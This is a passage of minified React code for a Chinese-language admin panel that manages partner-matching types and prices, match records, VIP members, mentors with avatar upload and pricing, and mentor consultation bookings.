E?E.error:"未知错误"))}catch(E){console.error("保存配置失败:",E),ie.error("保存失败")}finally{i(!1)}},N=E=>{h(E),m({id:E.id,label:E.label,matchLabel:E.matchLabel,icon:E.icon,matchFromDB:E.matchFromDB,showJoinAfterMatch:E.showJoinAfterMatch,price:E.price,enabled:E.enabled}),c(!0)},w=()=>{h(null),m({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),c(!0)},v=()=>{if(!f.id||!f.label){ie.error("请填写类型ID和名称");return}const E=[...t.matchTypes];if(u){const T=E.findIndex(I=>I.id===u.id);T!==-1&&(E[T]={...f})}else{if(E.some(T=>T.id===f.id)){ie.error("类型ID已存在");return}E.push({...f})}e({...t,matchTypes:E}),c(!1)},k=E=>{confirm("确定要删除这个匹配类型吗?")&&e({...t,matchTypes:t.matchTypes.filter(T=>T.id!==E)})},C=E=>{e({...t,matchTypes:t.matchTypes.map(T=>T.id===E?{...T,enabled:!T.enabled}:T)})};return s.jsxs("div",{className:"p-8 w-full space-y-6",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-6 h-6 text-[#38bdac]"}),"匹配功能配置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理找伙伴功能的匹配类型和价格"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:g,disabled:n,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]}),s.jsxs(te,{onClick:y,disabled:a,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存配置"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"}),"基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.freeMatchLimit,onChange:E=>e({...t,freeMatchLimit:parseInt(E.target.value,10)||0})}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户每天可免费匹配的次数"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:t.matchPrice,onChange:E=>e({...t,matchPrice:parseFloat(E.target.value)||1})}),s.jsx("p",{className:"text-xs text-gray-500",children:"免费次数用完后的单次匹配价格"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.settings.maxMatchesPerDay,onChange:E=>e({...t,settings:{...t.settings,maxMatchesPerDay:parseInt(E.target.value,10)||10}})}),s.jsx("p",{className:"text-xs text-gray-500",children:"包含免费和付费的总次数"})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enableFreeMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enableFreeMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enablePaidMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enablePaidMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:w,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"}),"添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:t.matchTypes.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:E.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:E.id}),s.jsx(ve,{className:"text-white font-medium",children:E.label}),s.jsx(ve,{className:"text-gray-300",children:E.matchLabel}),s.jsx(ve,{children:s.jsxs(We,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",E.price]})}),s.jsx(ve,{children:E.matchFromDB?s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(We,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:E.enabled,onCheckedChange:()=>C(E.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(E),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>k(E.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},E.id))})]})})]}),s.jsx(Dt,{open:o,onOpenChange:c,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[u?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),u?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:f.id,onChange:E=>m({...f,id:E.target.value}),disabled:!!u})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:SV.map(E=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${f.icon===E?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>m({...f,icon:E}),children:E},E))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业合伙",value:f.label,onChange:E=>m({...f,label:E.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业伙伴",value:f.matchLabel,onChange:E=>m({...f,matchLabel:E.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:f.price,onChange:E=>m({...f,price:parseFloat(E.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.matchFromDB,onCheckedChange:E=>m({...f,matchFromDB:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.showJoinAfterMatch,onCheckedChange:E=>m({...f,showJoinAfterMatch:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.enabled,onCheckedChange:E=>m({...f,enabled:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>c(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})]})]})})]})}const kw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function EV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null);async function N(){m(!0),y(null);try{const v=new URLSearchParams({page:String(a),pageSize:String(o)});u&&v.set("matchType",u);const k=await De(`/api/db/match-records?${v}`);k!=null&&k.success?(e(k.records||[]),r(k.total??0)):y("加载匹配记录失败")}catch(v){console.error("加载匹配记录失败",v),y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{N()},[a,u]);const w=Math.ceil(n/o)||1;return s.jsxs("div",{className:"p-8 w-full",children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"匹配记录"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["找伙伴匹配统计,共 ",n," 条记录"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:v=>{h(v.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(kw).map(([v,k])=>s.jsx("option",{value:v,children:k},v))]}),s.jsxs("button",{type:"button",onClick:N,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(qe,{className:`w-4 h-4 ${f?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(v=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.userAvatar?s.jsx("img",{src:v.userAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.userAvatar?"hidden":"",children:(v.userNickname||v.userId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.userNickname||v.userId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.userId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.matchedUserAvatar?s.jsx("img",{src:v.matchedUserAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.matchedUserAvatar?"hidden":"",children:(v.matchedNickname||v.matchedUserId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.matchedNickname||v.matchedUserId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.matchedUserId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsx(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:kw[v.matchType]||v.matchType})}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[v.phone&&s.jsxs("div",{children:["📱 ",v.phone]}),v.wechatId&&s.jsxs("div",{children:["💬 ",v.wechatId]}),!v.phone&&!v.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:v.createdAt?new Date(v.createdAt).toLocaleString():"-"})]},v.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:w,total:n,pageSize:o,onPageChange:i,onPageSizeChange:v=>{c(v),i(1)}})]})})})]})}function TV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0);async function a(){r(!0);try{const i=await De("/api/db/vip-members?limit=100");if(i!=null&&i.success&&i.data){const o=[...i.data].map((c,u)=>({...c,vipSort:typeof c.vipSort=="number"?c.vipSort:u+1}));o.sort((c,u)=>(c.vipSort??999999)-(u.vipSort??999999)),e(o)}}catch(i){console.error("Load VIP members error:",i),ie.error("加载 VIP 成员失败")}finally{r(!1)}}return b.useEffect(()=>{a()},[]),s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("div",{className:"flex justify-between items-center mb-8",children:s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"用户管理 / 超级个体列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"这里展示所有有效超级个体用户,仅用于查看其基本信息与排序值。"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-20",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 w-40",children:"超级个体"}),s.jsx(ke,{className:"text-gray-400 w-28",children:"排序值"})]})}),s.jsxs(dr,{children:[t.map((i,o)=>{var c;return s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:o+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[i.avatar?s.jsx("img",{src:i.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((c=i.name)==null?void 0:c[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:i.name})})]})}),s.jsx(ve,{className:"text-gray-300",children:i.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体)"})}),s.jsx(ve,{className:"text-gray-300",children:i.vipSort??o+1})]},i.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"当前没有有效的超级个体用户。"})})]})]})})})]})}function B4(t){const[e,n]=b.useState([]),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(null),[h,f]=b.useState({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:0,enabled:!0}),[m,g]=b.useState(!1),[y,N]=b.useState(!1),w=b.useRef(null),v=async R=>{var z;const D=(z=R.target.files)==null?void 0:z[0];if(D){N(!0);try{const Z=new FormData;Z.append("file",D),Z.append("folder","mentors");const ne=pf(),fe={};ne&&(fe.Authorization=`Bearer ${ne}`);const $=await(await fetch(go("/api/upload"),{method:"POST",body:Z,credentials:"include",headers:fe})).json();$!=null&&$.success&&($!=null&&$.url)?f(H=>({...H,avatar:$.url})):ie.error("上传失败: "+(($==null?void 0:$.error)||"未知错误"))}catch(Z){console.error(Z),ie.error("上传失败")}finally{N(!1),w.current&&(w.current.value="")}}};async function k(){a(!0);try{const R=await De("/api/db/mentors");R!=null&&R.success&&R.data&&n(R.data)}catch(R){console.error("Load mentors error:",R)}finally{a(!1)}}b.useEffect(()=>{k()},[]);const C=()=>{f({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:e.length>0?Math.max(...e.map(R=>R.sort))+1:0,enabled:!0})},E=()=>{u(null),C(),o(!0)},T=R=>{u(R),f({name:R.name,avatar:R.avatar||"",intro:R.intro||"",tags:R.tags||"",priceSingle:R.priceSingle!=null?String(R.priceSingle):"",priceHalfYear:R.priceHalfYear!=null?String(R.priceHalfYear):"",priceYear:R.priceYear!=null?String(R.priceYear):"",quote:R.quote||"",whyFind:R.whyFind||"",offering:R.offering||"",judgmentStyle:R.judgmentStyle||"",sort:R.sort,enabled:R.enabled??!0}),o(!0)},I=async()=>{if(!h.name.trim()){ie.error("导师姓名不能为空");return}g(!0);try{const R=z=>z===""?void 0:parseFloat(z),D={name:h.name.trim(),avatar:h.avatar.trim()||void 0,intro:h.intro.trim()||void 0,tags:h.tags.trim()||void 0,priceSingle:R(h.priceSingle),priceHalfYear:R(h.priceHalfYear),priceYear:R(h.priceYear),quote:h.quote.trim()||void 0,whyFind:h.whyFind.trim()||void 0,offering:h.offering.trim()||void 0,judgmentStyle:h.judgmentStyle.trim()||void 0,sort:h.sort,enabled:h.enabled};if(c){const z=await zt("/api/db/mentors",{id:c.id,...D});z!=null&&z.success?(o(!1),k()):ie.error("更新失败: "+(z==null?void 0:z.error))}else{const z=await vt("/api/db/mentors",D);z!=null&&z.success?(o(!1),k()):ie.error("新增失败: "+(z==null?void 0:z.error))}}catch(R){console.error("Save error:",R),ie.error("保存失败")}finally{g(!1)}},O=async R=>{if(confirm("确定删除该导师?"))try{const D=await Bs(`/api/db/mentors?id=${R}`);D!=null&&D.success?k():ie.error("删除失败: "+(D==null?void 0:D.error))}catch(D){console.error("Delete error:",D),ie.error("删除失败")}},L=R=>R!=null?`¥${R}`:"-";return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"导师管理"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师列表,支持每个导师独立配置单次/半年/年度价格"})]}),s.jsxs(te,{onClick:E,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增导师"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:r?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"姓名"}),s.jsx(ke,{className:"text-gray-400",children:"简介"}),s.jsx(ke,{className:"text-gray-400",children:"单次"}),s.jsx(ke,{className:"text-gray-400",children:"半年"}),s.jsx(ke,{className:"text-gray-400",children:"年度"}),s.jsx(ke,{className:"text-gray-400",children:"排序"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[e.map(R=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:R.id}),s.jsx(ve,{className:"text-white",children:R.name}),s.jsx(ve,{className:"text-gray-400 max-w-[200px] truncate",children:R.intro||"-"}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceSingle)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceHalfYear)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceYear)}),s.jsx(ve,{className:"text-gray-400",children:R.sort}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(R),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>O(R.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},R.id)),e.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:8,className:"text-center py-12 text-gray-500",children:"暂无导师,点击「新增导师」添加"})})]})]})})}),s.jsx(Dt,{open:i,onOpenChange:o,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg max-h-[90vh] overflow-y-auto",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:c?"编辑导师":"新增导师"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:卡若",value:h.name,onChange:R=>f(D=>({...D,name:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:h.sort,onChange:R=>f(D=>({...D,sort:parseInt(R.target.value,10)||0}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头像"}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:h.avatar,onChange:R=>f(D=>({...D,avatar:R.target.value})),placeholder:"点击上传或粘贴图片地址"}),s.jsx("input",{ref:w,type:"file",accept:"image/*",className:"hidden",onChange:v}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:y,onClick:()=>{var R;return(R=w.current)==null?void 0:R.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),y?"上传中...":"上传"]})]}),h.avatar&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:h.avatar.startsWith("http")?h.avatar:go(h.avatar),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"简介"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:结构判断型咨询 · Decision > Execution",value:h.intro,onChange:R=>f(D=>({...D,intro:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"技能标签(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:项目结构判断、风险止损、人×项目匹配",value:h.tags,onChange:R=>f(D=>({...D,tags:R.target.value}))})]}),s.jsxs("div",{className:"border-t border-gray-700 pt-4",children:[s.jsx(X,{className:"text-gray-300 block mb-2",children:"价格配置(每个导师独立)"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"单次咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"980",value:h.priceSingle,onChange:R=>f(D=>({...D,priceSingle:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"半年咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"19800",value:h.priceHalfYear,onChange:R=>f(D=>({...D,priceHalfYear:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"年度咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"29800",value:h.priceYear,onChange:R=>f(D=>({...D,priceYear:R.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"引言"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:大多数人失败,不是因为不努力...",value:h.quote,onChange:R=>f(D=>({...D,quote:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"为什么找(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.whyFind,onChange:R=>f(D=>({...D,whyFind:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提供什么(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.offering,onChange:R=>f(D=>({...D,offering:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"判断风格(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:冷静、克制、偏风险视角",value:h.judgmentStyle,onChange:R=>f(D=>({...D,judgmentStyle:R.target.value}))})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("input",{type:"checkbox",id:"enabled",checked:h.enabled,onChange:R=>f(D=>({...D,enabled:R.target.checked})),className:"rounded border-gray-600 bg-[#0a1628]"}),s.jsx(X,{htmlFor:"enabled",className:"text-gray-300 cursor-pointer",children:"上架(小程序可见)"})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>o(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:I,disabled:m,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),m?"保存中...":"保存"]})]})]})})]})}function MV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const h=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",f=await De(h);f!=null&&f.success&&f.data&&e(f.data)}catch(h){console.error("Load consultations error:",h)}finally{r(!1)}}b.useEffect(()=>{o()},[a]);const c={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},u={single:"单次",half_year:"半年",year:"年度"};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"导师预约列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师咨询预约记录"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:h=>i(h.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 